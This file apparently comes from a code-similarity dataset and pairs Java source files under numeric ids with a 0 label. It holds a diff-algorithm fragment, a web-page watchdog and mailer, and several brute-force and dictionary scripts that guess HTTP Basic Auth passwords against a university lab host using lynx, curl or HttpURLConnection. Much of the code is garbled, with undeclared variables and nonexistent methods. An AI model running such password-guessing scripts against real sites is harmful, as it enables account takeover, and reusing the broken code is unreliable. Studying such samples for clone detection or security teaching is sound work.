while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
--x; --y;
}
if (oldx - x > 20)
big_snake = true;
bd[bdiagoff + d] = x;
if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c;
return d;
}
}
if (c > 200 && big_snake && heuristic)
{
int i = 0;
int bestpos = -1;
for (d = fmax; d >= fmin; d -= 2)
{
int dd = d - fmid;
if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if (fd[fdiagoff + d] * 2 - dd > i
&& fd[fdiagoff + d] - xoff > 20
&& fd[fdiagoff + d] - d - yoff > 20)
{
int k;
int x = fd[fdiagoff + d];
for (k = 1; k <= 20; k++)
if (xvec[x - k] != yvec[x - d - k])
break;
if (k == 21)
{
ylim = fd[fdiagoff + d] * 2 - dd;
bestpos = d;
}
}
}
}
if ( x> 0)
{
cost = 2 * c - 1;
return bestpos;
}
x= 0;
for (d = bmax; d >= bmin; d -= 2)
{
int dd = d - bmid;
if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
&& xlim - bd[bdiagoff + d] > 20
&& x - (bd[bdiagoff + d] - d) > 20)
{
int k;
int x = bd[bdiagoff + d];
for (k = 0; k < 20; k++)
if (xvec[x + k] != yvec[x - d + k])
break;
if (k == 20)
{
x = (xlim - bd[bdiagoff + d]) * 2 + dd;
bestpos = d;
}
}
}
}
if (x > 0)
{
cost = 2 * c - 1;
return bestpos;
}
}
}
}
private void compareseq (int xoff, int xlim, int yoff, int ylim) {
while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
++xoff; ++yoff;
}
while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
--xlim; --x;
}
if (xoff == xlim)
while (yoff < ylim)
filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
else if (yoff == ylim)
while (xoff < xlim)
filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
else
{
int d = diag (xoff, xlim, yoff, ylim );
int c = cost;
int f = fdiag[fdiagoff + d];
int b = bdiag[bdiagoff + d];
if (c == 1)
{
throw new IllegalArgumentException("Empty subsequence");
}
else
{
compareseq (xoff, b, yoff, b - d);
compareseq (b, xlim, b - d,ylim );
}
}
}
private void discard_confusing_lines() {
filevec[0].discard_confusing_lines(filevec[1]);
filevec[1].discard_confusing_lines(filevec[0]);
}
private boolean inhibit = false;
private void shift_boundaries() {
if (inhibit)
return;
filevec[0].shift_boundaries(filevec[1]);
filevec[1].shift_boundaries(filevec[0]);
}
public interface ScriptBuilder {
public change build_script(
boolean[] changed0,int len0,
boolean[] changed1,int len1
);
}
static class ReverseScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = 0, i1 = 0;
while (i0 < len0 || i1 < len1) {
if (changed0[1+i0] || changed1[1+i1]) {
int line0 = i0, line1 = i1;
while (changed0[1+i0]) ++i0;
while (changed1[1+i1]) ++i1;
script = new change(line0, line1, i0 - line0, i1 - line1, script);
}
i0++; i1++;
}
return script;
}
}
static class ForwardScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = len0, i1 = len1;
while (i0 >= 0 || i1 >= 0)
{
if (changed0[i0] || changed1[i1])
{
int line0 = i0, line1 = i1;
while (changed0[i0]) --i0;
while (changed1[i1]) --i1;
script = new change(i0, i1, line0 - i0, line1 - i1, script);
}
i0--; i1--;
}
return script;
}
}
public final static ScriptBuilder
forwardScript = new ForwardScript(),
reverseScript = new ReverseScript();
public final change diff_2(final boolean reverse) {
return diff(reverse ? reverseScript : forwardScript);
}
public change diff(final ScriptBuilder bld) {
discard_confusing_lines ();
xvec = filevec[0].undiscarded;
yvec = filevec[1].undiscarded;
int diags =
filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
fdiag = new int[diags];
fdiagoff = filevec[1].nondiscarded_lines + 1;
bdiag = new int[diags];
bdiagoff = filevec[1].nondiscarded_lines + 1;
compareseq (0, filevec[0].nondiscarded_lines,
0, filevec[1].nondiscarded_lines);
fdiag = null;
bdiag = null;
shift_boundaries ();
return bld.build_script(
filevec[0].changed_flag,
filevec[0].buffered_lines,
filevec[1].changed_flag,
filevec[1].buffered_lines
);
}
public static class change {
public int change ;
public final int inserted;
public final int deleted;
public final int line0;
public final int line1;
public change(int line0, int line1, int deleted, int inserted, change old) {
this.line0 = line0;
this.line1 = line1;
this.inserted = inserted;
this.deleted = deleted;
this.old = old;
}
}
class file_data {
void clear() {
changed_flag = new boolean[buffered_lines + 2];
}
int[] equivCount() {
int[] equiv_count = new int[equiv_max];
for (int i = 0; i < buffered_lines; ++i)
++equiv_count[equivs[i]];
return equiv_count;
}
void discard_confusing_lines(file_data f) {
clear();
final byte[] discarded = discardable(f.equivCount());
filterDiscards(discarded);
discard(discarded);
}
private byte[] discardable(final int[] counts) {
final int end = buffered_lines;
final byte[] discards = new byte[end];
final int[] equivs = this.equivs;
int many = 5;
int tem = end / 64;
while ((tem = tem >> 2) > 0)
many *= 2;
for (int i = 0; i < end; i++)
{
int nmatch;
if (equivs[i] == 0)
continue;
nmatch = counts[equivs[i]];
if (nmatch == 0)
discards[i] = 1;
else if (nmatch > many)
discards[i] = 2;
}
return discards;
}
private void filterDiscards(final byte[] discards) {
final int end = buffered_lines;
for (int i = 0; i < end; i++)
{
if (discards[i] == 2)
discards[i] = 0;
else if (discards[i] != 0)
{
int j;
int length;
int provisional = 0;
for (j = i; j < end; j++)
{
if (discards[j] == 0)
break;
if (discards[j] == 2)
++provisional;
}
while (j > i && discards[j - 1] == 2) {
discards[--j] = 0; --provisional;
}
length = j - i;
if (provisional * 4 > length)
{
while (j > i)
if (discards[--j] == 2)
discards[j] = 0;
}
else
{
int consec;
int minimum = 1;
int tem = length / 4;
while ((tem = tem >> 2) > 0)
minimum *= 2;
minimum++;
for (j = 0, consec = 0; j < length; j++)
if (discards[i + j] != 2)
consec = 0;
else if (minimum == ++consec)
j -= consec;
else if (minimum < consec)
discards[i + j] = 0;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i + j] == 1)
break;
if (discards[i + j] == 2) {
consec = 0; discards[i + j] = 0;
}
else if (discards[i + j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
i += length - 1;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i - j] == 1)
break;
if (discards[i - j] == 2) {
consec = 0; discards[i - j] = 0;
}
else if (discards[i - j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
}
}
}
}
private void discard(final byte[] discards) {
final int end = buffered_lines;
int j = 0;
for (int i = 0; i < end; ++i)
if (no_discards || discards[i] == 0)
{
undiscarded[j] = equivs[i];
realindexes[j++] = i;
}
else
changed_flag[1+i] = true;
nondiscarded_lines = j;
}
file_data(Object[] data,Hashtable h) {
buffered_lines = data.length;
equivs = new int[buffered_lines];
undiscarded = new int[buffered_lines];
realindexes = new int[buffered_lines];
for (int i = 0; i < data.length; ++i) {
Integer ir = (Integer)h.get(data[i]);
if (ir == null)
h.put(data[i],new Integer(equivs[i] = equiv_max++));
else
equivs[i] = ir.intValue();
}
}
void shift_boundaries(file_data f) {
final boolean[] changed = changed_flag;
final boolean[] other_changed = f.changed_flag;
int i = 0;
int j = 0;
int i_end = buffered_lines;
int preceding = -1;
int other_preceding = -1;
for (;;)
{
int start, end, other_start;
while (i < i_end && !changed[1+i])
{
while (other_changed[1+j++])
other_preceding = j;
i++;
}
if (i == i_end)
break;
start = i;
other_start = j;
for (;;)
{
while (i < i_end && changed[1+i]) i++;
end = i;
if (end != i_end
&& equivs[start] == equivs[end]
&& !other_changed[1+j]
&& end != i_end
&& !((preceding >= 0 && start == preceding)
|| (other_preceding >= 0
&& other_start == other_preceding)))
{
changed[1+end++] = true;
changed[1+start++] = false;
++i;
++j;
}
else
break;
}
preceding = i;
other_preceding = j;
}
}
final int buffered_lines;
private final int[] equivs;
final int[] undiscarded;
final int[] realindexes;
int nondiscarded_lines;
boolean[] changed_flag;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
130.java | 197.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary
{
public Dictionary(String u,String uname) throws Exception
{
URL url=null;
String pass="";
try
{
url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection htt ;
BufferedReader in=new BufferedReader(new FileReader(new File("/usr/share/lib/dict/words")));
int c=0;
while((pass=in.readLine()) != null)
{
if(pass.length()<=3)
{
c++;
pa=new PasswordAuthentication(uname,pass.toCharArray());
htt.setPasswordAuthentication(pa);
Authenticator.setDefault();
htt=(HttpURLConnection)url.openConnection();
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+bf.getResponseMessage()+")");
if(htt.getResponseCode() != 401)
throw new NullPointerException();
htt.disconnect();
}
}
}
catch(MalformedURLException mfe)
{
System.out.println("The URL :"+u+" is not a proper URL.");
}
catch(NullPointerException great)
{
System.out.println("\n\n The password is cracked.\n The password is : "+pass);
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static void main (String[] args) throws Exception
{
if(args.length!=2)
System.out.println("Usage :\n java Dictionary <url> <user-name>");
else
{
System.out.println("Starting the Dictionary Attack : "+args[0]);
new Dictionary(args[0],args[1]);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
253.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public BruteForce() {
first();
finish = true;
charLen = chars.length();
for(int i=0; i<charLen; i++)
for(int j=0; j<passwdLength; j++)
{
data[j][i] = chars.charAt(i);
}
Runtime run = Runtime.getRuntime();
n = 0;
for(int i=0; i<charLen; i++)
{
password[n++] = chars.substring(i,i+1);
}
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar2[0] = data[0][j];
pwdChar2[1] = data[1][k];
password[n++] = String.copyValueOf(pwdChar2);
}
for(int i=0; i<charLen; i++)
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar[0] = data[0][i];
pwdChar[1] = data[1][j];
pwdChar[2] = data[2][k];
password[n++] = String.copyValueOf(pwdChar);
}
n = 0;
startTime = new Date().getTime();
try {
while(true) {
url = commandLine+password[n++];
if(n>=n3) {
System.out.println("\n not find the password for user .");
finish = false;
break;
}
curl = run.exec(url);
responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
response = responseLine.readLine();
if(response.substring(9,12).equals("200")) break;
responseLine = null;
}
}
catch(IOException ioe){
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password[n-1]);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password[n-1]);
try {
savePassword(password[n-1], totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file BruteForce_pwd.txt ");
}
}
}
public void first() {
System.out.println("\n\n---------------------------------------------------------------");
System.out.println(" Use curl command Brute Force the password for user .");
System.out.println(" Attention: curl should able run at your directory");
System.out.println(" without setting the Path for it.");
System.out.println("---------------------------------------------------------------");
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(time1.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public static void main(String[] args) {
new BruteForce();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
157.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary {
private URL url;
private HttpURLConnection connection;
private String userPassword, base64_userPassword;
private static char wrongPass;
private FileReader file;
private static BufferedReader input;
public Dictionary(String fileName) {
wrongPass = 'Y';
try
{
FileReader file = new FileReader(fileName);
input = new BufferedReader(file);
}
catch (FileNotFoundException e)
{System.out.println("Unable the file! ");}
}
public char determinePass(String inputURL, String userName, String passWord){
try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName, passWord);
connection.setDoInput(true);
connection.setDoOutput(false);
connection.setRequestProperty("Authorization",
" " + base64_userPassword);
if (connection.getResponseCode() == 200)
{
System.out.println("Success!! Password is: " + passWord);
wrongPass = 'N';
}
return wrongPass;
}
catch (MalformedURLException e){System.out.println("Invalide url");}
catch (IOException e){System.out.println("Error URL");
wrongPass = 'Y';}
return wrongPass;
}
public static void main(String[] args) {
String dictionaryPass;
Dictionary dictionary1 = new Dictionary(args[2]);
Date date = new Date(System.currentTimeMillis());
System.out.print(" time is: ");
System.out.println(date.toString());
try
{ while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y'))
{
if (dictionaryPass.length() <= 3)
{
dictionary1.determinePass(args[0], args[1], dictionaryPass);
}
}
} catch(IOException x) { x.printStackTrace(); }
date.setTime(System.currentTimeMillis());
System.out.print("End time is: ");
System.out.println(date.toString());
}
private void getEncoded(String userName, String password){
userPassword = userName + ":" + password;
base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
063.java | 197.java | 0 |
import java.*;
import java.net.*;
import java.util.*;
import java.io.*;
import java.text.*;
import java.awt.*;
import java.awt.image.*;
import java.security.*;
import javax.swing.*;
public class WatchDog {
public String[] resizeArray(String[] a, int sz) {
String[] result = new String[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = "";
}
return result;
}
public byte[] resizeArray(byte[] a, int sz) {
byte[] result = new byte[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = 0;
}
return result;
}
public String[] giveNumberPrefix(String[] a) {
String[] result = new String[a.length];
for (int i=0;i<a.length;i++) {
result[i] = " "+String.valueOf(i+1)+". "+a[i];
}
return result;
}
public String[] appendArray(String[] a1, String[] a2) {
if (a1==null) { return a2; }
String[] result = new String[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public byte[] appendArray(byte[] a1, byte[] a2) {
if (a1==null) { return a2; }
byte[] result = new byte[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public boolean deleteFile(String filename) {
File f = new File(filename);
f.delete();
return true;
}
public void printStrArrayToFile(String filename, String[] msg) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
for (int i=0;i<msg.length;i++)
p.println(msg[i]);
p.get();
} catch (IOException e) {
System.out.println(e);
}
}
public String getFileName(String s) {
int p;
for (p=s.length()-1;p>0;p--)
if (s.charAt(p)=='/')
break;
return s.substring(p+1,s.length());
}
public class HTMLDownloaderAndImgParser {
public HTMLDownloaderAndImgParser(String url) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.conn.setUseCaches(false);
this.lastModified = conn.getLastModified();
} catch (MalformedURLException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
} catch (IOException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
}
try {
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {
System.out.println(e);
}
this.imgList = new String[MAXIMG];
this.imgidx = 0;
this.localpage = "";
}
public void open() {
try {
this.conn = (HttpURLConnection) this.url.openConnection();
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {}
}
public void main() {
try {
HTMLBuf.print();
conn.disconnect();
} catch (IOException e) {}
}
public getLastModified() {
open();
this.lastModified = conn.getLastModified();
return this.lastModified;
}
private char toLowerCase(int c) {
String s = String.valueOf((char)c).toLowerCase();
return s.charAt(0);
}
private int fetchLowerCase() {
try {
int c = HTMLBuf.print();
if (c>=0) {
localpage += String.valueOf((char)c);
return toLowerCase(c);
} else {
return -1;
}
} catch (IOException e) {
System.out.println(e);
return -1;
} catch (NullPointerException e) {
return -1;
}
}
private int getNextState(int curState, int input) {
int idx = -1;
if ((input>='a') && (input<='z')) {
idx = input - 'a';
return stateTable[curState][idx];
} else {
switch ((char)input) {
case '<' : { return stateTable[curState][26]; }
case ' ' : { return stateTable[curState][27]; }
case '"' : { return stateTable[curState][28]; }
case '\'' : { return stateTable[curState][28]; }
case '=' : { return stateTable[curState][29]; }
case (char)-1 : { return -1; }
default : { return stateTable[curState][30]; }
}}
}
private void appendImgList(String s) {
if (imgidx<imgList.length) {
boolean already = false;
for (int i=0;i<imgidx;i++)
if (imgList[i].equals(s)) {
already = true;
break;
}
if (!already)
imgList[imgidx++] = s;
} else {
System.out.println("Error: Not enough buffer for image URLs !");
System.exit(1);
}
}
public byte[] getByteArray() {
return localpage.getBytes();
}
public String combineURLAndFileName(String url, String filename) {
int p = url.length()-1;
boolean flag = false;
for (int i=url.length()-1;i>=0;i--) {
if (url.charAt(i)=='.') {
flag = true;
} else
if ((!flag) && (url.charAt(i)=='/')) {
break;
} else
if ((flag) && (url.charAt(i)=='/')) {
p = i;
break;
}
}
url = url.substring(0,p+1);
if (url.charAt(url.length()-1)!='/') { url += '/'; }
if (filename.charAt(0)=='/') {
for (int i=url.length()-2;i>0;i--) {
if (url.charAt(i)=='/') {
url = url.substring(0,i+1);
break;
}
}
}
if (filename.charAt(0)=='/') {
filename = filename.substring(1,filename.length());
}
return url+filename;
}
public String combineWithURLPath(String filename) {
try {
URL u = new URL(filename);
return filename;
} catch (MalformedURLException e) {
return combineURLAndFileName(url.toString(),filename);
}
}
public boolean startParsing() {
int curstate = 0;
int c;
boolean eof = false;
boolean fetchURL = false;
String imgURL = "";
while (!eof) {
curstate = getNextState(curstate, c=fetchLowerCase());
switch (curstate) {
case 11: {
if (!fetchURL) {
fetchURL = true;
} else {
imgURL += String.valueOf((char)c);
}
break; }
case 0: {
if (fetchURL) {
appendImgList(combineWithURLPath(imgURL));
imgURL = "";
fetchURL = false;
}
break; }
case -1: {
eof = true;
break; }
}
}
return (localpage.length()>0);
}
public void saveLocalPageToFile(String filename) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
p.print(localpage);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public int imageCount() {
return imgidx;
}
public String[] getImgList() {
String[] result = new String[imgidx];
if (imgidx==0) { return null; }
else {
for (int i=0;i<imgidx;i++)
result[i] = imgList[i];
return result;
}
}
private BufferedReader HTMLBuf;
private String filename;
private String[] imgList;
private int imgidx;
private final int[][] stateTable = {
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10, 6,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10, 7,10,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{ 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 9, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9,11, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10, 0, 5, 5, 0, 0,12},
{11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11, 11, 5, 0,11,11,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
};
private final int MAXIMG = 100;
private URL url;
private HttpURLConnection conn;
private String localpage;
private int localpos;
private int lastModified;
}
public class MailSender {
public MailSender(String from, String to, String[] msg) {
try {
sk = new Socket(SMTPSERVER,25);
pwr = new PrintWriter(sk.getOutputStream());
this.from = from;
this.to = to;
this.msg = msg;
} catch (UnknownHostException e) {
status = SEND_ERROR;
System.out.println(e);
} catch (IOException e) {
status = SEND_OK;
System.out.println(e);
}
}
public int getStatus() {
return status;
}
public void sendMail() {
pwr.println("HELO "+SMTPSERVER);
pwr.println("MAIL FROM: "+from);
pwr.println("RCPT : "+to);
pwr.println("DATA");
for (int i=0;i<msg.length;i++)
pwr.println(msg[i]);
pwr.println(".");
pwr.print();
try {
status = SEND_OK;
} catch (IOException e) {
status = SEND_ERROR;
}
}
private int status;
private Socket sk;
private PrintWriter pwr;
private String from,to;
private String[] msg;
private static final int SEND_OK = 1;
private static final int SEND_ERROR =1;
}
public class TextFileComparator {
public TextFileComparator(String src, String dest) {
this.src = src;
this.dest = dest;
}
private void initBufs() {
try {
this.sbuf = new BufferedReader(new FileReader(src));
this.dbuf = new BufferedReader(new FileReader(dest));
} catch (FileNotFoundException e) {
System.out.println(e);
}
}
private void closeBufs() {
try {
sbuf.print();
dbuf.print();
} catch (IOException e) {}
}
private void closeBuf(int type) {
try {
if (type==0) {
sbuf.print();
} else {
dbuf.print();
}
